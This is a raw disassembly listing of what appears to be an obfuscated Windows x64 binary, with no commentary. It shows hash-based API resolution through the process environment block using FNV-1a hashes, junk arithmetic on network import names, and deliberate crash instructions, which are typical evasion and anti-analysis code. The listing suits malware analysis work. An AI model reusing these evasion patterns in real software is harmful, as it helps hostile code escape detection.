jmp 0x1400905bd
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1400905b2
cmp edx, esi
je 0x1400905d5
test r11d, r11d
jne 0x14009059f
xor r15d, r15d
jmp 0x140090640
mov ecx, dword [r10 + 0x24]
mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + r11*2]
mov ebx, dword [rdx + r8*4]
add rbx, r9
cmp rbx, r10
jbe 0x1400906ca
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x1400906ca
mov edi, r12d
mov esi, r12d
jmp 0x14009061b
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
cmp al, 0x2e
jne 0x14009060d
inc rbx
xor r15d, r15d
jmp 0x140090637
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
test al, al
jne 0x140090629
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x140090655
cmp qword [rax + 0x30], r15
jne 0x14009051b
mov rbx, r15
mov qword [0x1402a3f90], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call rbx
mov rdx, qword [0x1402a3f88]
test rdx, rdx
jne 0x1400907df
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, 0xb3002016
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
mov r12d, 0x811c9dc5
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x1400906eb
psrldq xmm0, 8
mov edx, r12d
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x1400906de
xor r15d, r15d
jmp 0x140090658
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400906cf
cmp edx, edi
jne 0x1400907c0
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x1400907c0
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400907c0
mov r15d, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r15]
mov edx, r12d
add r8, r10
jmp 0x14009073d
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140090732
cmp edx, esi
je 0x140090755
test r9d, r9d
jne 0x14009071f
xor r15d, r15d
jmp 0x1400907c0
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx r9d, word [rdx + r9*2]
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov edx, dword [rdx + r9*4]
add rdx, r10
cmp rdx, r11
jbe 0x140090841
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x140090841
mov edi, r12d
mov esi, r12d
jmp 0x14009079b
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14009078d
inc rdx
xor r15d, r15d
jmp 0x1400907b7
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x1400907a9
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x1400907d5
cmp qword [rax + 0x30], r15
jne 0x14009069b
mov rdx, r15
mov qword [0x1402a3f88], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1402a3f80]
test rdx, rdx
jne 0x140090956
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, 0x2fd4df39
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
mov r12d, 0x811c9dc5
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140090862
psrldq xmm0, 8
mov edx, r12d
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x140090855
xor r15d, r15d
jmp 0x1400907d8
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140090846
cmp edx, edi
jne 0x140090937
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x140090937
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140090937
mov r15d, dword [r11 + 0x20]
dec r9d
lea rdx, [r15 + r9*4]
mov r8d, dword [rdx + r10]
mov edx, r12d
add r8, r10
jmp 0x1400908b4
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1400908a9
cmp edx, esi
je 0x1400908cc
test r9d, r9d
jne 0x140090896
xor r15d, r15d
jmp 0x140090937
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx r9d, word [rdx + r9*2]
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov edx, dword [rdx + r9*4]
add rdx, r10
cmp rdx, r11
jbe 0x1400909b8
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x1400909b8
mov edi, r12d
mov esi, r12d
jmp 0x140090912
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140090904
inc rdx
xor r15d, r15d
jmp 0x14009092e
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140090920
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x14009094c
cmp qword [rax + 0x30], r15
jne 0x140090812
mov rdx, r15
mov qword [0x1402a3f80], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1402a3f78]
test rdx, rdx
jne 0x140090acd
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, 0xe80fd3a
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
mov r12d, 0x811c9dc5
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x1400909d9
psrldq xmm0, 8
mov edx, r12d
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x1400909cc
xor r15d, r15d
jmp 0x14009094f
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400909bd
cmp edx, edi
jne 0x140090aae
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140090aae
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140090aae
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + r15]
mov edx, r12d
add r8, r9
jmp 0x140090a2b
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140090a20
cmp edx, esi
je 0x140090a43
test r11d, r11d
jne 0x140090a0d
xor r15d, r15d
jmp 0x140090aae
mov ecx, dword [r10 + 0x24]
mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + r11*2]
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x140090b2c
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140090b2c
mov edi, r12d
mov esi, r12d
jmp 0x140090a89
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140090a7b
inc rdx
xor r15d, r15d
jmp 0x140090aa5
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140090a97
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x140090ac3
cmp qword [rax + 0x30], r15
jne 0x140090989
mov rdx, r15
mov qword [0x1402a3f78], rdx
xor ecx, ecx
call rdx
cmp qword [0x1402a3f70], r15
jne 0x140090c43
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, 0xa52bcaf9
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
mov r12d, 0x811c9dc5
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140090b4d
psrldq xmm0, 8
mov edx, r12d
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x140090b40
xor r15d, r15d
jmp 0x140090ac6
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140090b31
cmp edx, edi
jne 0x140090c24
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x140090c24
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140090c24
mov r15d, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r15]
mov edx, r12d
add r8, r10
jmp 0x140090b9f
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140090b94
cmp edx, esi
je 0x140090bb7
test r9d, r9d
jne 0x140090b81
xor r15d, r15d
jmp 0x140090c24
mov ecx, dword [r11 + 0x24]
mov edx, dword [r11 + 0x1c]
add rcx, r10
add rdx, r10
movzx r8d, word [rcx + r9*2]
mov r9d, dword [rdx + r8*4]
add r9, r10
cmp r9, r11
jbe 0x140090d63
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x140090d63
mov edi, r12d
mov esi, r12d
jmp 0x140090bfd
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc r9
mov al, byte [r9]
cmp al, 0x2e
jne 0x140090bef
inc r9
xor r15d, r15d
jmp 0x140090c1a
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r9
mov al, byte [r9]
test al, al
jne 0x140090c0c
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x140090c39
cmp qword [rax + 0x30], r15
jne 0x140090afd
mov r9, r15
mov qword [0x1402a3f70], r9
xor ecx, ecx
int 0x29
mov r9d, r15d
call fcn.1400752e4
movsx edx, al
call fcn.1400752e8
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea esi, [rcx + rdx*2]
call fcn.1400752e4
movsx edx, al
call fcn.1400752e8
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea r14d, [rcx + rdx*4]
call fcn.1400752e4
movsx r10d, al
call fcn.1400752e8
movsx ecx, al
imul r10d, ecx
call fcn.1400752f4
mov r11d, dword [rbp + 0x48]
movsx ebx, al
lea eax, [r10 + r10*4]
lea edi, [rbx + rax*2]
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, esi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm2, xmm2
sub eax, ecx
xor edx, edx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp - 0x10], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r14d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140090d6b
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x140090d6b
mov r11d, 4
jmp 0x140090dc0
xor r15d, r15d
jmp 0x140090c3c
movsx eax, byte [reloc.WS2_32.dll_htons]
lea edx, [r10 + r10*2]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, ebx
lea eax, [rax + rdx*2]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140090dc0
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, edi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm0, xmm0
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x10]
cvttsd2si r11d, xmm0
cmp r9d, r11d
jge 0x140090def
mov edx, 1
mov eax, edx
mov qword [rbp - 0x10], rdx
mov ecx, edx
mov qword [rbp + rcx*8 - 0x10], rax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov rcx, rax
mov qword [rbp - 0x10], rax
jne 0x140090dd2
add r9d, edx
jmp 0x140090caf
mov qword [0], 0x99
mov rdx, qword [0x1402a3f08]
test rdx, rdx
jne 0x140090f6a
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, 0x18017917
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
mov r12d, 0x811c9dc5
movd eax, xmm0
sub ax, 8
cmp edi, r15d
je 0x140090e76
psrldq xmm0, 8
mov edx, r12d
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x140090e69
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140090e5a
cmp edx, edi
jne 0x140090f4b
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140090f4b
mov r11d, dword [r10 + 0x18]
cmp r11d, r15d
je 0x140090f4b
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + r15]
mov edx, r12d
add r8, r9
jmp 0x140090ec8
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140090ebd
cmp edx, esi
je 0x140090ee0
test r11d, r11d
jne 0x140090eaa
xor r15d, r15d
jmp 0x140090f4b
mov ecx, dword [r10 + 0x24]
mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + r11*2]
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x140091070
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140091070
mov edi, r12d
mov esi, r12d
jmp 0x140090f26
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140090f18
inc rdx
xor r15d, r15d
jmp 0x140090f42
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140090f34
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x140090f60
cmp qword [rax + 0x30], r15
jne 0x140090e2a
mov rdx, r15
mov qword [0x1402a3f08], rdx
call rdx
mov r12, rax
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140091dd9
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
cmp r12d, r15d
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
mov rax, r15
cvtdq2pd xmm0, xmm0
setle al
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rbp - 0x10], xmm1
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140091078
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x140091078
mov r10d, 4
jmp 0x14009110e
xor r15d, r15d
jmp 0x140090f63
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14009110a
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400752f4
movsx ecx, al
xorps xmm0, xmm0
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x10]
cvttsd2si r10d, xmm0
jmp 0x14009110e
mov r10d, dword [rbp + 0x48]
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.1400752f4
movsx ecx, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx eax, al
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r10d
cmp eax, r15d
je 0x140091dd9
call fcn.1400752e8
movsx r9d, al
call fcn.1400752e4
movsx ecx, al
imul r9d, ecx
call fcn.1400752f4
movsx ecx, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx eax, al
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14009133d
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
movzx eax, byte [0x1402a1d75]
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [rbp - 0x10], xmm1
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14009125b
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x14009125b
mov r9d, 4
jmp 0x1400912f1
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400912ed
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400752f4
movsx ecx, al
xorps xmm0, xmm0
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x10]
cvttsd2si r9d, xmm0
jmp 0x1400912f1
mov r9d, dword [rbp + 0x48]
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r9d
cmp eax, r15d
je 0x14009133d
call fcn.1400b8e8c
mov ecx, 0x9c
call qword [0x1402a1e90]
mov rdx, qword [0x1402a3e40]
cmp rdx, r15
jne 0x1400914b6
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, r13d
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
cmp edi, r15d
je 0x1400913bd
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x1400913b0
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400913a1
cmp edx, edi
jne 0x140091497
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140091497
mov r11d, dword [r10 + 0x18]
cmp r11d, r15d
je 0x140091497
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + r15]
mov edx, 0x811c9dc5
add r8, r9
jmp 0x140091411
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140091406
cmp edx, esi
je 0x140091429
test r11d, r11d
jne 0x1400913f1
xor r15d, r15d
jmp 0x140091497
mov ecx, dword [r10 + 0x24]
mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + r11*2]
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x140091518
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140091518
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140091472
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140091464
inc rdx
xor r15d, r15d
jmp 0x14009148e
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140091480
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x1400914ac
cmp qword [rax + 0x30], r15
jne 0x140091375
mov rdx, r15
mov qword [0x1402a3e40], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x1402a3f90]
cmp rbx, r15
jne 0x140091632
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, 0xf84eee59
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
cmp edi, r15d
je 0x140091539
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x14009152c
xor r15d, r15d
jmp 0x1400914af
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14009151d
cmp edx, edi
jne 0x140091613
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140091613
mov r11d, dword [r10 + 0x18]
cmp r11d, r15d
je 0x140091613
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + r15]
mov edx, 0x811c9dc5
add r8, r9
jmp 0x14009158d
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140091582
cmp edx, esi
je 0x1400915a5
test r11d, r11d
jne 0x14009156d
xor r15d, r15d
jmp 0x140091613
mov ecx, dword [r10 + 0x24]
mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + r11*2]
mov ebx, dword [rdx + r8*4]
add rbx, r9
cmp rbx, r10
jbe 0x14009169a
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x14009169a
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x1400915ee
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
cmp al, 0x2e
jne 0x1400915e0
inc rbx
xor r15d, r15d
jmp 0x14009160a
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
test al, al
jne 0x1400915fc
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x140091628
cmp qword [rax + 0x30], r15
jne 0x1400914ec
mov rbx, r15
mov qword [0x1402a3f90], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call rbx
mov rdx, qword [0x1402a3f88]
cmp rdx, r15
jne 0x1400917b4
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, 0xb3002016
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
cmp edi, r15d
je 0x1400916bb
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x1400916ae
xor r15d, r15d
jmp 0x14009162b
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14009169f
cmp edx, edi
jne 0x140091795
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140091795
mov r11d, dword [r10 + 0x18]
cmp r11d, r15d
je 0x140091795
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + r15]
mov edx, 0x811c9dc5
add r8, r9
jmp 0x14009170f
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140091704
cmp edx, esi
je 0x140091727
test r11d, r11d
jne 0x1400916ef
xor r15d, r15d
jmp 0x140091795
mov ecx, dword [r10 + 0x24]
mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + r11*2]
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x140091813
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140091813
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x140091770
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140091762
inc rdx
xor r15d, r15d
jmp 0x14009178c
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14009177e
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x1400917aa
